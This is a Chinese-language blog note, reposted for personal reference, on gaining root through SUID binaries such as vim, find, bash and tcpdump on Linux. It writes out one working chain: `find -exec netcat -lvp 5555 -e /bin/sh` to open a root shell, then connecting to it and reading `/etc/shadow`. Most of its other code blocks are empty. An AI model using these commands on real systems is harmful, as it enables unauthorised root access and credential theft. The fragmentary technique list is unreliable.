Linux提权之SUID提权
本篇文章非原创,用作笔记方便后期查询,原创作者微信公众号“黑白之道”如有侵权,联系删除
什么是suid?
通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。
常见的可用于suid提权的命令
Vim
find
Bash
More
Less
cp chmod ash/linux shell
awk mv man
python
tcpdump
查找suid文件
1 2 3 4 5 6 7 8 9 10 11 |
|
Vim
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
1 2 3 4 |
|
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
1 2 |
|
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \; 连接上去就会直接获取到一个Root权限的shell。
-
netcat 192.168.1.189 5555
-
id
-
cat /etc/shadow
Bash
1 2 3 |
|
1 2 |
|
Less
1 2 |
|
1 |
|
1 |
|
1 |
|
1 |
|
mv(暂时未有实例)
1 |
|
man
1 2 |
|
1 2 |
|
perl
1 |
|
ruby/lua/etc也有相似
tcpdump
1 2 3 |
|
后续再找到再补充